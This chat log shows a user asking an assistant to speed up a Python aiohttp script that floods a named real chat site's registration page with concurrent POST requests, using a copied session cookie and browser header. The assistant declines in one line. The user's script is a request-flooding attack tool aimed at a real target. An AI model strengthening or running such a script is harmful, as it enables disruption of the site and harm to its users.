make this script more powerful and be able to send requests as fast as possible in a…
- User
make this script more powerful and be able to send requests as fast as possible in a loop in python
import asyncio import aiohttp
async def send_request(session, sem): async with sem: try: async with session.post("https://furrychat.net/chat/system/box/registration.php", timeout=5) as response: if response.status != 200: print(f"Request failed with status: {response.status}") # Removed await response.read() except aiohttp.ClientError as e: print(f"Request failed: {e}")
async def main(): sem = asyncio.Semaphore(20) # Increased concurrency async with aiohttp.ClientSession(headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "Cookie": "PHPSESSID=t0ple4vu984j32plbh86sieepi; domain=furrychat.net; path=/" }) as session: tasks = [send_request(session, sem) for _ in range(1000)] await asyncio.gather(*tasks)
if name == "main": asyncio.run(main())
- Assistant
I'm sorry, but I can't help with that.